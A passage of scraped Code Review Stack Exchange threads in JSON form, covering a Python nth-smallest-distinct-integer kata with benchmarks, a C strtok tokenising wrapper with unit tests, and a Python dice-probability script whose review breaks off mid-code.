"body": "Regardless of programming language, OO features like private encapsulation and autonomous objects are universally good features that should always be used. Inheritance/polymorphism, not so much. It should only be used where it truly makes sense - not spewed all over the program for the sake of it. The problem with inheritance being that at the point when we write the base class, we can rarely ever foresee all future needs of the inherited classes. And so we risk writing burdensome interfaces that do more harm than good. Properly written inheritance always allows re-design of the base class."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T15:56:51.440",
"Id": "212985",
"ParentId": "212937",
"Score": "5"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T20:30:02.433",
"Id": "212937",
"Score": "0",
"Tags": [
"object-oriented",
"c",
"inheritance",
"polymorphism",
"portability"
],
"Title": "Polymorphism and inheritance in C99"
} | 212937 |
<p><a href="https://www.codewars.com/kata/the-nth-smallest-integer/train/python" rel="nofollow noreferrer">Kata in question</a></p>
<blockquote>
<p>Given a list of integers, return the nth smallest integer in the list. Only distinct elements should be considered when calculating the answer. n will always be positive (n > 0)</p>
<p>If the nth small integer doesn't exist, return -1 (C++) / None (Python) / nil (Ruby) / null (JavaScript).</p>
<p>Notes:</p>
<ul>
<li>"indexing" starts from 1</li>
<li>huge lists (of 1 million elements) will be tested </li>
</ul>
<p>Examples<br>
nth_smallest([1, 3, 4, 5], 7) ==> None # n is more than the size of the list<br>
nth_smallest([4, 3, 4, 5], 4) ==> None # 4th smallest integer doesn't exist<br>
nth_smallest([45, -10, 4, 5, 4], 4) ==> 45 # 4th smallest integer is 45
If you get a timeout, just try to resubmit your solution. However, if you always get a timeout, review your code. </p>
</blockquote>
<p>I wrote several functions to try to solve this.<br>
My first attempt was:</p>
<pre class="lang-py prettyprint-override"><code>def nS1(arr = z, n = 16):
st = set(arr)
return sorted(st)[n-1] if n <= len(st) else None
</code></pre>
<p>My second:</p>
<pre class="lang-py prettyprint-override"><code>def nS2(arr = z, n = 16):
st = set()
count = 0
for i in sorted(arr):
if i not in st:
count += 1
if count == n:
return i
st.add(i)
return None
</code></pre>
<p>I even tried implementing quickselect:</p>
<pre class="lang-py prettyprint-override"><code>#Given a list, it modifies it so that the element at `pvtIdx` (pivot index) is the `pvtIdx` smallest element.
def partition(lst, lft, rght, pvtIdx):
pvtVal = lst[pvtIdx] #The value of the pivot element that would be used in comparison.
lst[pvtIdx], lst[rght] = lst[rght], lst[pvtIdx] #Swap `lst[rght]` and `lst[pvtIdx]`.
strIdx = lft #The store index that contains the location that is partitioned.
for i in range(lft, rght): #Iterate through the list.
if lst[i] < pvtVal: #If the current element is less than the pivot element.
lst[i], lst[strIdx] = lst[strIdx], lst[i] #Swap the current element and the partitioner.
strIdx += 1 #Increment the partitioner.
lst[rght], lst[strIdx] = lst[strIdx], lst[rght] #Swap the pivot element and the partitioner.
#The list is now partitioned into elements < the pivot elements and elements > the pivot element around the partition location.
return strIdx #Return the partition location.
def select(lst, lft, rght, k):
if lft == rght: #Return the sole element of the list if it is already sorted.
return lst[lft]
pvtIdx = lft + int(random()*(rght - lft)) #Generate a random pivot index between `lft` and `rght` (both inclusive).
pvtIdx = partition(lst, lft, rght, pvtIdx) #The index of the pivot value in it's sorted position.
if k == pvtIdx: #If that index corresponds to the desired index.
return lst[k]
elif k < pvtIdx: #Insert another element to its sorted position in the partition of the list that the desired element resides in.
return select(lst, lft, pvtIdx - 1, k)
else:
return select(lst, pvtIdx + 1, rght, k) #Insert another element to its sorted position in the partition of the list that the desired element resides in.
def nS3(lst = z, k = 16):
st = set(lst)
ln = len(st)
return None if k > ln else select(list(st), 0, ln-1, k-1)
</code></pre>
<p>Switched to an iterative implementation cause python: </p>
<pre class="lang-py prettyprint-override"><code>def select2(lst, lft, rght, k):
while True:
if lft == rght: #Return the sole element of the list if it is already sorted.
return lst[lft]
pvtIdx = lft + int(random()*(rght - lft)) #Generate a random pivot index between `lft` and `rght` (both inclusive).
pvtIdx = partition(lst, lft, rght, pvtIdx) #The index of the pivot value in it's sorted position.
if k == pvtIdx: #If that index corresponds to the desired index.
return lst[k]
elif k < pvtIdx: #Insert another element to its sorted position in the partition of the list that the desired element resides in.
right = pvtIdx - 1
continue
else:
left = pvtIdx+1 #Insert another element to its sorted position in the partition of the list that the desired element resides in.
continue
def nS4(lst = z, k = 16):
st = set(lst)
ln = len(st)
return None if k > ln else select2(list(st), 0, ln-1, k-1)
</code></pre>
<p>I tried using a heap: </p>
<pre class="lang-py prettyprint-override"><code>def nS5(lst = z, k = 16):
lst = list(set(lst))
ln = len(lst)
if k > ln:
return None
heapify(lst)
for i in range(k):
current = heappop(lst)
return current
</code></pre>
<p>I tried optimising my heap: </p>
<pre class="lang-py prettyprint-override"><code>def nS6(lst = z, k = 16):
heapify(lst)
st = set()
count = 0
while count < k:
if not lst:
return None
current = heappop(lst)
if current not in st:
st.add(current)
count += 1
return current
</code></pre>
<p>I tried combining multiple functions together to leverage asymptotics: </p>
<pre class="lang-py prettyprint-override"><code>
def nS7(lst, k):
if len(lst) < 100000:
return nS6(lst, k)
return nS4(lst, k)
</code></pre>
<p>I benchmarked my functions (using a fifty element list): </p>
<pre class="lang-py prettyprint-override"><code>
print("t(nS1):\t\t", t(nS1, number = 1000000))
print("t(nS2):\t\t", t(nS2, number = 1000000))
# print("t(nS3):\t\t", t(nS3, number = 1000000))
# print("t(nS4):\t\t", t(nS4, number = 1000000))
print("t(nS5):\t\t", t(nS5, number = 1000000))
print("t(nS6):\t\t", t(nS6, number = 1000000))
</code></pre>
<p><a href="https://i.stack.imgur.com/BxaiL.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/BxaiL.png" alt="enter image description here"></a><br>
(I commented out the two implementations of quickselect because previous benchmarks had shown they took orders of magnitude more time than some of the other implementations). </p>
<p>If others hadn't solved the kata, I would have called bullshit. As it is, I've invested way too much effort into it already.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T08:40:31.727",
"Id": "411851",
"Score": "2",
"body": "Where can we find the benchmark code? How fast does the benchmark need to run?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T19:39:41.190",
"Id": "411980",
"Score": "0",
"body": "Making your question so that it's hard for users to C&P means less people are going to look into your question. Also, how does `heapq.nsmallest(k, set(lst))[-1]` fair?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T09:21:22.190",
"Id": "412046",
"Score": "0",
"body": "@Peilonrayz, surprisingly, that's much slower. I've added it to the benchmarking in my answer."
}
] | [
{
"body": "<p>The <code>list -> set ->list</code> conversion seems pretty wasteful, especially if there are not too many dupes. Besides, it introduces <span class=\"math-container\">\\$O(N)\\$</span> space complexity. Even though <code>set</code> promises a constant time inserts and lookups, the constant could be quite large (for large sets) due to the poor referential locality (hence plenty of cache misses). That said, since you try to sort/heapify an entire list, the time complexity would be at least <span class=\"math-container\">\\$O(N \\log N)\\$</span>.</p>\n\n<p>The kata doesn't specify how big <code>n</code> could be. If it is comparable to <code>N</code>, there is nothing you could do, besides ditching the set. Just sort the list, and linearly traverse it discarding dupes.</p>\n\n<p>However, if <code>n</code> is much less than <code>N</code>, consider using a fixed-size heap of at most <code>n</code> entries. Bite the bullet and implement <code>sift_down</code> with a couple of twists:</p>\n\n<ol>\n<li>If you hit an element equal to the one being sifted, discard the latter.</li>\n<li>If the element is sifted beyond <code>n</code>, discard it.</li>\n</ol>\n\n<p>Once the entire list is processed, either the heap is not filled completely (return <code>None</code>, or return the maximum.</p>\n\n<p>The time complexity of this approach is <span class=\"math-container\">\\$O(N \\log n)\\$</span>, and the space complexity is <span class=\"math-container\">\\$O(n)\\$</span>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T10:28:43.870",
"Id": "411871",
"Score": "0",
"body": "FWIW the `list->set->list` accounts for about 20% of the time."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T22:18:29.013",
"Id": "212945",
"ParentId": "212940",
"Score": "4"
}
},
{
"body": "<blockquote>\n <p>(I commented out the two implementations of quickselect because previous benchmarks had shown they took orders of magnitude more time than some of the other implementations).</p>\n</blockquote>\n\n<p>In my testing, for 50-element lists, <code>ns3</code> is an order of magnitude slower than <code>ns1</code>, and <code>ns4</code> is an order of magnitude slower than <code>ns3</code>. But I accidentally managed to speed up <code>ns4</code> by an order of magnitude when renaming the variables to be (IMO) more legible, and on investigating I discovered why:</p>\n\n<blockquote>\n<pre><code>def select2(lst, lft, rght, k):\n while True:\n if lft == rght: #Return the sole element of the list if it is already sorted.\n return lst[lft]\n ...\n elif k < pvtIdx: #Insert another element to its sorted position in the partition of the list that the desired element resides in.\n right = pvtIdx - 1\n ...\n</code></pre>\n</blockquote>\n\n<p>The problem with using mangled names is that if you forget to mangle one, it's not so easy to notice.</p>\n\n<hr>\n\n<p>Also, scale up to 5000-element lists and the same two functions become faster than <code>ns1</code>. If you're finding that the code times out for million-element lists, you need to profile with long lists, not really short ones.</p>\n\n<p>Further contributing to the benchmarking flaws, because the benchmarking approach shares the same list between all of the methods, it's not at all a fair test. Where you define <code>z</code>, add</p>\n\n<pre><code>lenz = len(z)\n</code></pre>\n\n<p>and then add</p>\n\n<pre><code>assert len(arr) == lenz\n</code></pre>\n\n<p>to the start of all of the <code>nS</code> functions. You'll find that the reason <code>nS6</code> is so much faster is that it's working on a shorter list.</p>\n\n<hr>\n\n<blockquote>\n<pre><code>def nS6(lst = z, k = 16):\n ...\n st = set()\n ...\n current = heappop(lst)\n if current not in st:\n st.add(current)\n ...\n</code></pre>\n</blockquote>\n\n<p>If the heap is buggy, this function is almost certainly buggy. If it isn't buggy, you don't need <code>st</code>. It suffices to track the previous element popped from the heap and compare to that. I find that this change gives about a 10% to 15% speedup.</p>\n\n<p>PS The same applies to <code>nS2</code>.</p>\n\n<hr>\n\n<p>My benchmark code:</p>\n\n<pre><code>from random import randint, random, seed\nfrom heapq import *\nimport timeit\n\nt = timeit.timeit\nseed(12345)\nz0 = [randint(-2147483648, 2147483647) for i in range(0, 500000)]\nk0 = len(z0) // 2\n\ndef nS1(arr = None, n = k0):\n if arr == None:\n arr = list(z0)\n\n st = set(arr)\n return sorted(st)[n-1] if n <= len(st) else None\n\n### and nS2, etc. with similar modifications ###\n\n# A variant with the change I mention above\ndef nS2b(arr = None, n = k0):\n if arr == None:\n arr = list(z0)\n\n prev = None\n count = 0\n for i in sorted(arr):\n if i != prev:\n count += 1\n if count == n:\n return i\n prev = i\n return None\n\n# A variant on nS4 which special-cases when the range gets small.\ndef nS4b(arr = None, k = k0):\n if arr == None:\n arr = list(z0)\n\n st = set(arr)\n ln = len(st)\n if k > ln: return None\n arr = list(st)\n left = 0\n right = ln - 1\n k -= 1\n while True:\n if right - left < 10:\n final = sorted(arr[left:right+1])\n return final[k - left]\n pivotIndex = left + int(random()*(right - left))\n pivotIndex = partition(arr, left, right, pivotIndex)\n if k == pivotIndex:\n return arr[k]\n elif k < pivotIndex:\n right = pivotIndex - 1\n else:\n left = pivotIndex + 1\n\n\n# A variant of nS6 with the change I suggest above\ndef nS6(arr = None, k = k0):\n if arr == None:\n arr = list(z0)\n\n heapify(arr)\n count = 0\n prev = None\n while count < k:\n if not arr:\n return None\n current = heappop(arr)\n if current != prev:\n prev = current\n count += 1\n return current\n\n\n# My own idea for how to speed things up: radix select\ndef nS8(arr = None, k = k0):\n if arr == None:\n arr = list(z0)\n\n # Exploit the knowledge that we're working with 32-bit integers\n offset = 2147483648\n arr = [i + offset for i in set(arr)]\n if k > len(arr):\n return None\n\n shift = 30\n while len(arr) > 1:\n buckets = [[] for i in range(8)]\n for elt in arr:\n buckets[(elt >> shift) & 7].append(elt)\n for bucket in buckets:\n if k <= len(bucket):\n arr = bucket\n break\n else:\n k -= len(bucket)\n shift -= 3\n return arr[0] - offset\n\n\n# Suggested in comments by Peilonrayz\ndef Peilonrayz(arr = None, k = k0):\n if arr == None:\n arr = list(z0)\n\n st = set(arr)\n if k > len(st):\n return None\n\n return nsmallest(k, st)[-1]\n\n\n# For benchmarking just list(set(arr))\ndef uniq(k = k0):\n arr = list(set(z0))\n return arr[k - 1] if k <= len(arr) else None\n\n\ndef test(fn):\n testcases = [\n ([1, 3, 4, 5], 7, None),\n ([4, 3, 4, 5], 4, None),\n ([45, -10, 4, 5, 4], 4, 45)\n ]\n for testcase in testcases:\n result = fn(testcase[0], testcase[1])\n if result != testcase[2]:\n print(fn.__name__, \"failed test case\", testcase, \"giving\", result)\n return float('+inf')\n\n return t(fn, number = 100)\n\n\nif __name__ == \"__main__\":\n implementations = [nS1, nS2, nS2b, nS3, nS4, nS4b,\n nS5, nS6, nS6b, nS8, Peilonrayz]\n timed = [(test(fn), fn.__name__) for fn in implementations]\n for result in sorted(timed):\n print(result)\n\n print(\"---\")\n print(\"t(uniq):\\t\", t(uniq, number = 100))\n</code></pre>\n\n<p>Output:</p>\n\n<pre><code>(24.560783660940388, 'nS8')\n(27.097620791058496, 'nS2b')\n(27.39887558242293, 'nS6b')\n(30.668106617453745, 'nS2')\n(32.12385269414622, 'nS1')\n(32.97220054667446, 'nS6')\n(36.23331559560749, 'nS3')\n(36.571778446890335, 'nS5')\n(37.13606558411453, 'nS4b')\n(37.48886835011808, 'nS4')\n(108.40215040129226, 'Peilonrayz')\n---\nt(uniq): 7.5451649473291695\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T11:23:46.907",
"Id": "412056",
"Score": "0",
"body": "Holy moly `nsmallest` is slow "
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T09:19:10.043",
"Id": "212965",
"ParentId": "212940",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T21:31:07.627",
"Id": "212940",
"Score": "0",
"Tags": [
"python",
"beginner",
"algorithm",
"sorting",
"time-limit-exceeded"
],
"Title": "Select nth smallest distinct integer from inputs"
} | 212940 |
<p>The <code>tokenise</code> function below splits a given string at the indicated delimiters. As with <a href="https://en.cppreference.com/w/c/string/byte/strtok" rel="nofollow noreferrer"><code>strtok</code></a>, it modifies the string by adding <code>'\0'</code>s at the end of each token.</p>
<p>A pointer to the start of each token string is placed into the output array.</p>
<pre><code>#include <string.h>
/*
* Wrapper around strtok
*
* Splits a string at characters in "delimiters", writing each token to "output".
* Delimiter characters in the source are overwritten with '\0'.
* Stops tokenising if "output_size" is reached.
*
* Returns 0 if "source", "delimiters", or "output" are NULL.
* Returns 0 if "output_size" is 0.
*
* "source" must NOT be a string literal (modifying one is undefined behaviour).
* "output" must be at least "output_size" long.
*
* Example usage:
* char[] src = "a b c";
* char* out[3];
* size_t n = tokenise(src, " ", out, 3);
*
*/
size_t tokenise(char* source, char const* delimiters, char** output, size_t output_size)
{
if (!source) return 0;
if (!delimiters) return 0;
if (!output) return 0;
if (output_size < 1) return 0;
char* const* start = output;
char* const* end = output + output_size;
*output = strtok(source, delimiters);
while (*output && ++output != end)
*output = strtok(NULL, delimiters);
return output - start;
}
#include <stdio.h>
#include <stdbool.h>
void test(bool conditional)
{
if (!conditional)
printf("failed!\n");
}
void test_null_source_returns_zero()
{
char* output[1];
test(tokenise(NULL, " ", output, 1) == 0);
}
void test_null_delimiters_returns_zero()
{
char source[] = " ";
char* output[1];
test(tokenise(source, NULL, output, 1) == 0);
test(source[0] != '\0');
}
void test_null_output_returns_zero()
{
char source[] = " ";
test(tokenise(source, " ", NULL, 1) == 0);
test(source[0] != '\0');
}
void test_zero_output_size_returns_zero()
{
char source[] = " ";
char* output[1];
test(tokenise(source, " ", output, 0) == 0);
test(source[0] != '\0');
}
void test_empty_source_returns_zero()
{
char source[] = "";
char* output[1];
test(tokenise(source, " ", output, 1) == 0);
}
void test_source_without_delimiters_returns_one()
{
char source[] = "sdlfkj";
char* output[1];
test(tokenise(source, " ", output, 1) == 1);
}
void test_source_with_only_delimiters_returns_zero()
{
char source[] = " ";
char* output[1];
test(tokenise(source, " ", output, 1) == 0);
test(source[0] != '\0');
}
void test_empty_delimiters_returns_one()
{
char source[] = "abc";
char* output[1];
test(tokenise(source, "", output, 1) == 1);
test(strcmp(output[0], source) == 0);
}
void test_source_starts_with_delimiter()
{
char source[] = " abc";
char* output[1];
test(tokenise(source, " ", output, 1) == 1);
test(source[0] != '\0');
test(strcmp(output[0], "abc") == 0);
}
void test_source_ends_with_delimiter()
{
char source[] = "a 123 ";
char* output[2];
test(tokenise(source, " ", output, 2) == 2);
test(source[5] == '\0');
test(source[6] != '\0');
test(strcmp(output[0], "a") == 0);
test(strcmp(output[1], "123") == 0);
}
void test_source_starts_and_ends_with_delimiter()
{
char source[] = " a bbb cccc dd ";
char* output[4];
test(tokenise(source, " ", output, 4) == 4);
test(source[3] != '\0');
test(strcmp(output[0], "a") == 0);
test(strcmp(output[1], "bbb") == 0);
test(strcmp(output[2], "cccc") == 0);
test(strcmp(output[3], "dd") == 0);
}
void test_small_output_size_stops_tokenising()
{
char source[] = "a b c d";
char* output[2];
test(tokenise(source, " ", output, 2) == 2);
test(source[3] == '\0');
test(source[5] != '\0');
test(strcmp(output[0], "a") == 0);
test(strcmp(output[1], "b") == 0);
}
void test_large_output_size_stops_at_end_of_source()
{
char source[] = "a b c d";
char* output[53];
test(tokenise(source, " ", output, 53) == 4);
test(strcmp(output[0], "a") == 0);
test(strcmp(output[1], "b") == 0);
test(strcmp(output[2], "c") == 0);
test(strcmp(output[3], "d") == 0);
}
int main(void)
{
test_null_source_returns_zero();
test_null_delimiters_returns_zero();
test_null_output_returns_zero();
test_zero_output_size_returns_zero();
test_empty_source_returns_zero();
test_source_without_delimiters_returns_one();
test_source_with_only_delimiters_returns_zero();
test_empty_delimiters_returns_one();
test_source_starts_with_delimiter();
test_source_ends_with_delimiter();
test_source_starts_and_ends_with_delimiter();
test_small_output_size_stops_tokenising();
test_large_output_size_stops_at_end_of_source();
printf("done!\n");
}
</code></pre>
<p><a href="https://repl.it/repls/WorstUnsightlyApi" rel="nofollow noreferrer">Online version</a>.</p>
<ul>
<li>General feedback is welcome.</li>
<li>Are there any missing tests / edge cases?</li>
<li>Is there a better way to calculate the return size? (i.e. without the <code>start</code> variable`)</li>
<li>Some things (the contents of <code>output</code> and <code>'\0'</code>s in the source) are tested as side-effects of the named test functions. Perhaps these should be separate named test cases?</li>
<li>I usually do C++ stuff. Is there anything more C-ish that I'm missing?</li>
</ul>
| [] | [
{
"body": "<p>LGTM.</p>\n\n<p>A nitpick: testing for parameters being not-<code>NULL</code> is not enough. They may still being invalid (e.g. pointing to illegal places, or <code>source</code> being read-only). For true safety, consider catching <code>SIGSEGV</code>.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T22:42:43.293",
"Id": "212947",
"ParentId": "212943",
"Score": "0"
}
},
{
"body": "<p>The <code>tokenise()</code> function is clear and succinct; I can't find anything to dislike. A couple of minor suggestions: wrap the declaration to a shorter line length, and consider changing the interface to terminate the <code>output</code> list with a null pointer (so that it's like <code>argv</code>).</p>\n\n<p>It's great that you've included the unit tests for review. I <em>love</em> unit tests!</p>\n\n<p>I recommend using an established test framework for the tests. It's fine to use a C++ unit-test framework for this, if we compile separately using <code>extern \"C\"</code> (as in <a href=\"/a/208558\">this answer of mine</a>). The big advantage you'll get is better diagnostics when tests fail: instead of just <code>failed!</code> in the output, you'll see <em>which</em> test failed, and the actual and expected values that caused the failure.</p>\n\n<p>Yes, you can write your own <code>EXPECT()</code> macro (and I sometimes do, to make a simple test harness), but you'll find over time that it drifts towards the functionality of the existing unit-test libraries.</p>\n\n<p>You might want to add a function/macro to test the output list of strings, to simplify this repetition:</p>\n\n<blockquote>\n<pre><code>test(strcmp(output[0], \"a\") == 0);\ntest(strcmp(output[1], \"bbb\") == 0);\ntest(strcmp(output[2], \"cccc\") == 0);\ntest(strcmp(output[3], \"dd\") == 0);\n</code></pre>\n</blockquote>\n\n<p>If you're writing the tests in C++, you get to use standard collections to make that side of things more readable:</p>\n\n<pre class=\"lang-c++ prettyprint-override\"><code>test_strings_eq({\"a\", \"bbb\", \"cccc\", \"dd\"}, output);\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T08:55:02.630",
"Id": "212963",
"ParentId": "212943",
"Score": "4"
}
},
{
"body": "<p><strong>Allow query</strong></p>\n\n<p><code>tokenise()</code> obliges the calling code to know the maximum possible number of token prior to calling the function.</p>\n\n<p>With judicious use of <code>strspn(), strcspn()</code>, the function could provide the return value of <code>tokenise()</code> without disturbing <code>char* source</code> past <code>output_size</code>. </p>\n\n<p>With 2 passes: </p>\n\n<pre><code>size_t token_count = tokenise(source, delimiters, NULL, 0);\nchar** output = malloc(sizeof *ouput *token_count); \ntokenise(source, delimiters, output, token_count);\n</code></pre>\n\n<p><strong>Quiet pedantic sign-ness change</strong></p>\n\n<p><code>output - start</code> results in a signed integer type <code>ptrdiff_t</code>. OP's code silently converts to an unsigned type <code>size_t</code>. To quiet a picky compiler setting, apply a cast.</p>\n\n<blockquote>\n <p>warning: conversion to 'size_t {aka long unsigned int}' from 'long int' may change the sign of the result [-Wsign-conversion]</p>\n</blockquote>\n\n<pre><code>//return output - start;\nreturn (size_t) (output - start);\n</code></pre>\n\n<p><strong>Coding error in comment</strong></p>\n\n<pre><code>//char[] src = \"a b c\";\nchar src[] = \"a b c\";\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-08T04:16:11.243",
"Id": "213079",
"ParentId": "212943",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "212963",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T22:07:11.033",
"Id": "212943",
"Score": "5",
"Tags": [
"c",
"strings",
"parsing"
],
"Title": "if you gaze long enough into strtok, strtok will gaze back into you"
} | 212943 |
<p>I have to make this: Each set consists of a number of equal objects that generate numbers from a finite set with an arbitrary probability distribution. I did make it, but it feels so long. How can I refactor the code to something better and clean looking? Also, don't mind certain variable names and callbacks. I've done it for satire purposes</p>
<pre><code>#Assignment
import time
import random
def roll(die):
number = random.randint(0,len(die)-1)
b = die[number]
return b
Die1 = [1,2,3,4]
Die2 = [1,2,3,4,5,6] #num lists
def inptchacc(string):
ending_conditions = ['stop','Stop','quit','Quit']
end = False
inpu = input(string)
while end == False:
if not(inpu in ending_conditions):
try:
retr = int(inpu)
return retr
except:
string = 'invalid input please try again'
inpu = input('invalid input please try again ')
else:
stop = 'stop'
return stop
def quantitymatrix(IDie):
stringDie = 'how often would you like this Die to occur?'
list = []
Adding = True
while Adding:
print('the Die in question is '+ str(IDie))
toadd = inptchacc(string)
if toadd != 'stop':
list.append(toadd)
else:
Adding = False
return list
def deeper(IDie):
stringDie = 'what number would you like to add to the new face of the Die? (to end the die please type "stop or Stop or quit or Quit to finish the DIE" )'
list = []
Adding = True
while Adding:
print('The Die ' + IDie + ' is currently ' + str(list) )
toadd = inptchacc(stringDie)
if toadd != 'stop':
list.append(toadd)
else:
Adding = False
return list
def chance_overlap(dielist,Dielistcount):
highnumber = 100000
counter = (len(dielist))*[0]
chance = (len(dielist))*[0]
for n in range(highnumber):
dieres = len(Dielistcount)*[0]
for dienumber in range(len(dielist)):
for diecount in range(Dielistcount[dienumber]):
dieres[dienumber] += roll(dielist[dienumber])
for dienumber2 in range(len(dielist)):
if max(dieres) == dieres[dienumber2] and dieres.count(max(dieres)) == 1:
counter[dienumber2] += 1
for chanceper in range(len(counter)):
chance[chanceper] = counter[chanceper]/highnumber
chance[chanceper] = str(chance[chanceper]) + '% for die' + str(chanceper+1)
return chance
def suckmypp(counterq):
string1 = 'adding the amount of the die '+ str(counterq+1)
firstq = True
while firstq:
suckmypp2 = inptchacc(string1)
if suckmypp2 != 'stop':
firstq = False
return suckmypp2
Dielist1 = [Die1,Die2]
diecount = [9,6]
chance = chance_overlap(Dielist1,diecount)
print(chance)
Doing = True
counter = 0
while Doing:
Dielist2 = []
adding = True
while adding:
counter += 1
addQ = input('to stop type S and enter otherwise any characters and enter will add another die')
if addQ != 'S':
notdone = True
while notdone:
dietoadd = deeper('Die' + str(counter))
if len(dietoadd) >= 1:
Dielist2.append(dietoadd)
notdone = False
else:
print('die is empty not added')
else:
adding = False
quantity = True
counterq = 0
Qlist = []
print(Qlist)
print(len(Dielist2))
while quantity:
Qlist.append(suckmypp(counterq))
counterq += 1
if counterq == (len(Dielist2)):
quantity = False
print(Dielist2)
print(Qlist)
chance2 = chance_overlap(Dielist2,Qlist)
Doing = False
print(chance2)
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T02:11:29.797",
"Id": "411838",
"Score": "2",
"body": "Is there any reason one of the function names is `suckmypp`, which happpens to return `suckmypp2`?"
}
] | [
{
"body": "<p>I haven't been brave enough to read through all the code. If your variables and function are to have irrelevant names, then I'd highly recommend commenting your code so that people will be more willing to read it.</p>\n\n<p>I have however noticed one thing : the function <code>roll</code> can be replaced by the use of <code>randrange(die) + 1</code>, and therefore the variables <code>Die1</code> and <code>Die2</code> need only be an integer, representing the maximum value of the die.</p>\n\n<p>Also, if you create lists -like Die1 and Die2 here-, think about using range() and <strong>list comprehensions</strong> : <code>Die1 = [x+1 for x in range(4)]</code>. If you want to cast a d100, it'll be easier than hardcoding each number yourself (would still go with <code>random.randrange(100) + 1</code>, though)</p>\n\n<p>Here's the documentation for the <code>randrange</code> function in the <code>random</code> module : <a href=\"https://docs.python.org/3/library/random.html#random.randrange\" rel=\"nofollow noreferrer\">https://docs.python.org/3/library/random.html#random.randrange</a></p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T23:08:21.957",
"Id": "212949",
"ParentId": "212946",
"Score": "2"
}
},
{
"body": "<h2>roll()</h2>\n\n<ul>\n<li><p>Your <code>roll</code> function implements <a href=\"https://docs.python.org/3.6/library/random.html#random.choice\" rel=\"nofollow noreferrer\">random.choice</a>, so its definition can be replaced with</p>\n\n<pre><code>from random import choice as roll\n</code></pre></li>\n</ul>\n\n<h2>inptchacc()</h2>\n\n<ul>\n<li><p>Instead of having several words for upper-case/lower-case letters, it is more convenient to declare only lower-case versions and convert input to lower-case before comparing. Also, using operator <code>not in</code> is more readable than <code>not ... in ...</code>:</p>\n\n<pre><code>stop_words = ['stop', 'quit']\nif inpu.lower() not in stop_words:\n # ...\n</code></pre></li>\n<li><p>You do not need variable <code>end</code>; remove it and use a <code>while True</code> loop.</p></li>\n<li>You can place <code>inpu = input()</code> at the beginning of the <code>while</code> loop to avoid its duplication.</li>\n<li>You do not need to store value into a variable before returning it; just return an expression.</li>\n<li>Using a <a href=\"https://medium.com/softframe/what-are-guard-clauses-and-how-to-use-them-350c8f1b6fd2\" rel=\"nofollow noreferrer\">guard clause</a> for checking stop condition will reduce nesting.</li>\n<li>Renaming <code>string</code> to <code>prompt</code> looks appropriate. Also, try to avoid ugly names like <code>inpu</code>. Use <code>input_</code> or <code>value</code> instead.\n\n<blockquote>\n <p>If your public attribute name collides with a reserved keyword, append a single trailing underscore to your attribute name. This is preferable to an abbreviation or corrupted spelling. (<a href=\"https://pep8.org\" rel=\"nofollow noreferrer\">PEP-8</a>)</p>\n</blockquote></li>\n</ul>\n\n\n\n<pre><code>def inptchacc(string):\n while True:\n inpu = input(string)\n if inpu in ['stop','quit']:\n return 'stop'\n try:\n return int(inpu)\n except:\n string = 'invalid input please try again'\n</code></pre>\n\n<h2>quantitymatrix() and deeper()</h2>\n\n<ul>\n<li><code>quantitymatrix()</code> is unused.</li>\n<li>According to <a href=\"https://www.python.org/dev/peps/pep-0008/#function-and-variable-names\" rel=\"nofollow noreferrer\">PEP-8</a>:\n\n<blockquote>\n <p>Function names should be lowercase, with words separated by underscores as necessary to improve readability.\n Variable names follow the same convention as function names.</p>\n</blockquote></li>\n<li>You do not need the variable <code>Adding</code>, just use <code>whilte True</code> and replace <code>Adding = False</code> with <code>break</code></li>\n<li>It is bad practice to override builtin functions (<code>list</code>), better use <code>list_</code> or <code>lst</code>. Actually, here name <code>die</code> is more appropriate since this list represents a die!</li>\n<li>Use <code>print()</code> with several arguments instead of converting <code>list</code> to <code>str</code>.</li>\n</ul>\n\n\n\n<pre><code>def deeper(idie):\n die = []\n while True:\n print('The Die ' + idie + ' is currently', die)\n to_add = inptchacc(\n 'what number would you like to add to the new face '\n 'of the Die? (to end the die type \"stop\" or \"quit\")'\n )\n if to_add == 'stop':\n break\n die.append(to_add)\n return die\n</code></pre>\n\n<h2>chance_overlap()</h2>\n\n<ul>\n<li>Use <code>_</code> or <code>__</code> name for unused variables (<code>n</code>, <code>diecount</code>).</li>\n<li><p><code>dieres</code> evaluation may be done like this:</p>\n\n<pre><code>dieres = [\n sum(roll(die) for __ in range(repeat))\n for (die, repeat) in zip(die_list, die_list_count)\n]\n</code></pre></li>\n<li><p>When updating <code>counter</code> it is more efficient to check if there is a winner outside of the <code>for</code> loop. Actually, you do not need the <code>for</code> loop at all:</p>\n\n<pre><code>maximum = max(dieres)\nif dieres.count(maximum) == 1:\n winner = dieres.index(maximum)\n counter[winner] += 1\n</code></pre></li>\n<li><p>You do not need the <code>chance</code> list; just replace last loop with list comprehension:</p>\n\n<pre><code>return [\n 